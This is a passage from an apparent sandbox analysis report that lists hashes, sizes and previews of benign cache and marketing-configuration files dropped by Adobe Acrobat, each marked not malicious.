Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	244540
Entropy (8bit):	3.3415042960460593
Encrypted:	false
SSDEEP:	1536:vKPCPiyzDtrh1cK3XEivK7VK/3AYvYwggErRo+RQn:yPClJ/3AYvYwgrFo+RQn
MD5:	758B42992DDFC41CB5E57069C621B54A
SHA1:	D0C28AF6CF1BD2208DA97DEDE57F6C78CEC98DCD
SHA-256:	55DF75758DD6CA825ED2DC9380EDC8469351191308C34CACFC44205197ABD25D
SHA-512:	437918372167A402005A728DCBBEF7B3A9580B794AD6A948A435C9D57C1672ACC1B7376E2A09113B66600EF5049D23625174256565BC639125A2F2BD07928926
Malicious:	false
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3689060186424875
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPG7cxDlyWKHVoZcg1vRcR0YseoAvJM3g98kUwPeUkwRe9:YvXKXMwyWlZc0vHGMbLUkee9
MD5:	CB8B53B2F3A919DD46E35AB94D140785
SHA1:	6C9705173767764D3C79944524E0DC2EDB7FA2DF
SHA-256:	7B93537CA22AA56ACB5EDFDC5F83EA1C5FFF1608D672CEEBF5E25E32243A0416
SHA-512:	450B09B6A91E0B50287AB42F574B5FB796BA3B3040117F07C790C112D0F328B42618335124BAE7B84312A71F9DD6FD63EC01A1493F6C1C7EFFBD85A8A4153D1D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3185930043393395
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPG7cxDlyWKHVoZcg1vRcR0YseoAvJfBoTfXpnrPeUkwRe9:YvXKXMwyWlZc0vHGWTfXcUkee9
MD5:	8598A1E354ADB0B1043AF50A44F440AA
SHA1:	51EDB85E42614A61F3F66F0BFE3E2845DF4FCC3D
SHA-256:	EF025C0CEDB48DEE1567F78F60A0ADFECF5BDD3A336743545A445A645F5A3345
SHA-512:	4332CAE6C6B83CBA61F55A8834E50DAD245D8618DE480E45CEE03184870E4EE625FDB40785415ABA1E30B591DDFDE1AD37A38D8846A58824326AFF608A8C70E7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.297141320865344
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPG7cxDlyWKHVoZcg1vRcR0YseoAvJfBD2G6UpnrPeUkwRe9:YvXKXMwyWlZc0vHGR22cUkee9
MD5:	D2A897ABAA1042B08F7C4D6187088A3B
SHA1:	1882DF2E6D88BE697710747A90D00E055C4FDF98
SHA-256:	05AA32448B3696F76FAFB77D2FED7FF468ABE1393C51D4C2280AC4D41893191B
SHA-512:	F3523E4741FD8929F369C3F38F9BD4C259DC907FAA3D0BC64D773585A58B60943A61432AC8A08C4A31AD6543F022218F6A15EA575A9D080371F36335A68C59EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.35611100316485
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPG7cxDlyWKHVoZcg1vRcR0YseoAvJfPmwrPeUkwRe9:YvXKXMwyWlZc0vHGH56Ukee9
MD5:	3BC2E1723C37EAADA2E0E29FF787D50A
SHA1:	DDED9050C7FD2C40B3490A34AFB81257499A2558
SHA-256:	2F15BE9169DD1C91F0658BBAB03D30BC9C0A41A79FA8CC82D40A65FCD4FF9046
SHA-512:	FB4B334CF18482151AAEDA1CB034232C27808AA95960E257514FD8A978AFB1F8D8A40BDB13C4EE815E4FEC32C3198CD032D03DA3CE1AAD87F448163D5A4D4694
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.687992697506446
Encrypted:	false
SSDEEP:	24:Yv6XhFlzvMpLgE9cQx8LennAvzBvkn0RCmK8czOCCSa:YvqFJUhgy6SAFv5Ah8cv/a
MD5:	44DA387629D934DED2DE22D7D097CDA4
SHA1:	ACEB1A60397E4E2A1B9C910207A67B289A863AB5
SHA-256:	0132647F439A6DA10B9E680CC959A05E4CA9E7F1E33A68B48A108D662916E7CA
SHA-512:	5EE11B898851F9A4514F0C7CCB228C61CBACAE5BC83FEBC4753AB3C222537D911EEFB8729D48ECF5FCA8699991914176EC293D7A0238CF63EA6EE3F411A962FC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301778970702193
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPG7cxDlyWKHVoZcg1vRcR0YseoAvJf8dPeUkwRe9:YvXKXMwyWlZc0vHGU8Ukee9
MD5:	D24B31957FCDC433FA05AD948BCABA45
SHA1:	81A653691C010202B4BCE53BC908B89461C743C1
SHA-256:	7386251B4624AD27DA4E9CFDA3458CEEF8CA463C31B2EFCF7826D1A6DB284382
SHA-512:	9A3FBF9203EC7C4CD09DF5A59A3A003ECF94347B421B856F999E414BA7F099A656B5DB509E25DA3876F1C860C1D6ABCEF308A4FD78FD9C8EB41EFAAB372F7691
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.305661329230272
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPG7cxDlyWKHVoZcg1vRcR0YseoAvJfQ1rPeUkwRe9:YvXKXMwyWlZc0vHGY16Ukee9
MD5:	22EA2722DBFE696F8B8358406BFF1F7A
SHA1:	891FE3372F298FB7BCC690986894D1CCBFBF0596
SHA-256:	9E485162E30567E117CBC8448553755AA0F799D2F6EF11F767F9D4469E10431E
SHA-512:	3D880411A58553B999DFC767EBEA237B5FF5946B6DB5B8EFDFCBF8F2725F74B5B646C487619B064137BCC968E722B07428A43B24B66877E0A235FAD28BB462B0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311082054759604
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPG7cxDlyWKHVoZcg1vRcR0YseoAvJfFldPeUkwRe9:YvXKXMwyWlZc0vHGz8Ukee9
MD5:	3460085F62340921ECD261AB62C2FB33
SHA1:	AC8CA0D5A5191F30331ABDE311382D48F22E1E07
SHA-256:	20D7F2FCE728FEE7D8E80D2EE8F5D2C4EFBC5037076BFBDC8F75E86F8EEB854D
SHA-512:	513502273D4138B8423FF8D3322C571510769C76CF840418124B02B110C72AC755AAA2C3C16E3CB82C8D66F7094FF940432477713BCE84BD4313E3343A376676
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.327261930065756
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPG7cxDlyWKHVoZcg1vRcR0YseoAvJfzdPeUkwRe9:YvXKXMwyWlZc0vHGb8Ukee9
MD5:	5A72A01B76885AB9DE766351A77B5E06
SHA1:	CA5C1269834486BBA050BC59832927BFEED15E09
SHA-256:	5585D1463E86D8F42546D1604FA3B18B0A1000DB578410095524A10893F00CA6
SHA-512:	E9D368CC1B2A1D213992A0A0F75BD5DFBC59D2D918884628AB3E4A696764841FBC5EA2142C0BFB8F60E3648189D8092EB59951C3CDD96480F42FF2FAB18122BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308069651576062
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPG7cxDlyWKHVoZcg1vRcR0YseoAvJfYdPeUkwRe9:YvXKXMwyWlZc0vHGg8Ukee9
MD5:	DE38C07BCAA3F47776D122B19E8E5DF5
SHA1:	7AC6498B444BF44AB1AD3C00BDE03F97DC3A8991
SHA-256:	86BF541A3E48058959E16272E79E2181235AD5BCE404A1BC0250C663E06D159F
SHA-512:	4EFD3404262BA7AFA2415FAB1685C0F65C8AFD9C5F23305A6B2CF8BF93DEF3C9B655C46102B24D1C7BE525CF2DF8FF8D814D515767A4E4BAF1FEC004247267C5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.294561086657142
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPG7cxDlyWKHVoZcg1vRcR0YseoAvJf+dPeUkwRe9:YvXKXMwyWlZc0vHG28Ukee9
MD5:	4B396BBE89F7DDB3B3A6D75FC42B2AB0
SHA1:	06D00D747CC417306F2765EB0CD7E5CC5796A43D
SHA-256:	206A2AD6981A28458203F9237C93AB070F3CED7745889A5CFF017DF3ACEB92E1
SHA-512:	3D0208FF2B3E30A52604B8C9ABEAEFEF4B17FB985BD760A4BDD421D68418431940664CDA4795F42D1CC2B14ED7720F889B937BA93F025F9A88F1E3118234821C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.291561287727066
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPG7cxDlyWKHVoZcg1vRcR0YseoAvJfbPtdPeUkwRe9:YvXKXMwyWlZc0vHGDV8Ukee9
MD5:	D07629E910305B1BEBC0E3C9C263CA13
SHA1:	3A8E558409D0BFAACBDC089E4E9ACDDF50421144
SHA-256:	3FCE1EA89897799C03DEEFF10AFA7F102A45AC5CC423608F97D6B9DE666FBF73
SHA-512:	07254A5D435D62D3B8FAB23B5A2D6AFD2EE872257F262ABD3E1313FE775AD0763AD96DE42EE8C59E3B31F9CCA8FBBEB9BB690FA383297D49974F03B855B84026
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.296324436391906
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPG7cxDlyWKHVoZcg1vRcR0YseoAvJf21rPeUkwRe9:YvXKXMwyWlZc0vHG+16Ukee9
MD5:	D988DDDF72FDAA2BAD4C61F9C8A184A4
SHA1:	DF159F303A9C2C149B6E5F51A5B4D92BFCD0E609
SHA-256:	B1779062FAB9FC35814B1E3EC1B414FD763B782698939C3F284F4C57AAF04B90
SHA-512:	78AA2B7416E939AD46D2FF5EFCF44C1D20055C6515A52DBF6BABA3BF67A0B2EC35A41CED7DAE260986F2DC83E457E646CD389FDD5569CE9724B133C53E92B4CE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664638572380538
Encrypted:	false
SSDEEP:	24:Yv6XhFlzv4amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSa:YvqFJWBgkDMUJUAh8cvMa
MD5:	B8E904603D0783F9F246E5151B280D92
SHA1:	E01354A89EB2BDC206E0691F14B5B175B8939DD2
SHA-256:	23EC54E6F5A4FDF95BF20DCAF1B5980CAF87F20E62423ADD6C0E0CB6BB7E3AD3
SHA-512:	6E6CA2DF0E64A43311FB9BDCBD5BFAC0FA6967C0E96B684DDE8ECF63CA78FF92BCD4B7E7C692BDA28D367E6D2F9F736FED33CEE1BA02C6B3315F812D75F0AA6F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.27199419456153
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPG7cxDlyWKHVoZcg1vRcR0YseoAvJfshHHrPeUkwRe9:YvXKXMwyWlZc0vHGUUUkee9
MD5:	A920754C5BEAD684AF673D40B2F123CE
SHA1:	A5D91F5370600100E5A42EF277D118A150E01003
SHA-256:	AF7163059BAA4E11331B7BFBE16A7E0E76148C8CE1F6CA0F8449DE4028666F6B
SHA-512:	6D19F89F3312C098960F57AC3E5DA2BEEBAE872BACB2BDE9294EAB6D6015F7342F2B2F0F0080D81164D3DC6CD49C591B78AB937DA56D5A462CB1A31F70678D1F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.285034475862782
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPG7cxDlyWKHVoZcg1vRcR0YseoAvJTqgFCrPeUkwRe9:YvXKXMwyWlZc0vHGTq16Ukee9
MD5:	65D1B8470493BCD0C54A2FCE87C88A73
SHA1:	DC29B9238883FCF904508161D3E1DF8EB9243D9D
SHA-256:	3AE1F745B5C5B3B016E74CCBE9C8C3D87B8C8A094F2FC32969EAC0B8A3E581C1
SHA-512:	E7954C04355DACE2FE1ACFE88FCCC1AF6F9DCF34E84F960DD71F7798642B16DAE3C1D7991D7BD852B90432BC697BA1F0F4B2D7ED2FFEC5DD8D9BCEBD5B88C95A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8d4ce1e3-3098-4290-8af7-a516635746dc","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737086693316,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.140955771079714
Encrypted:	false
SSDEEP:	24:Y2+Ua3ayPE1ToWHN02oX0CJgkjg2j0SAb1Cg2iSi2LSqC+I/TDf2Dc/0D5uWbU9n:Y2N1Pe5NJFgI617XIPI7DEc/EI9n
MD5:	8009F703EAA6D1156C97191759A8E5C3
SHA1:	038E714DAD533E1225C7125F66F42CA63F0001F0
SHA-256:	CA655D876E40A3E483C670F1DD07A82C0CB58A8D3031520A161E19167F430664
SHA-512:	4D5CCC537AC4B30D6A6EFBE87F16500120FFFABCA857DEC1F5AC5EEEF898C80EAA610AAE98D513C6CD02CD19D1654F550DBFCB3241C84B2BDDF5E3C571A6B718
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"75980412e6c129366e05469a03df2e20","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736908597000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"d22ddb3a18c94d090cfbb74ac64a2821","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736908597000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"34d7f2a1a142a1ca680fccc0b82164a3","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736908597000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"20c19dfb243577ff412b5384a23da18a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736908597000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c4ef754d55271d8d137838f2ff169d84","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736908597000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"a13b3b8e9cf9a3a030120247c0ca47a2","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.187497137908477
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUaSvR9H9vxFGiDIAEkGVvpg:lNVmswUUUUUUUUa+FGSItc
MD5:	9B5F556C45A5A57213A5404CA3A08BC5
SHA1:	664DEB0E39CCAE4DF45197071F2DA35A98882A96
SHA-256:	6AAAE5F639BCEA799F30079FFA7B1DA4EABC7EE4238846EE3AF1B98F5C375169
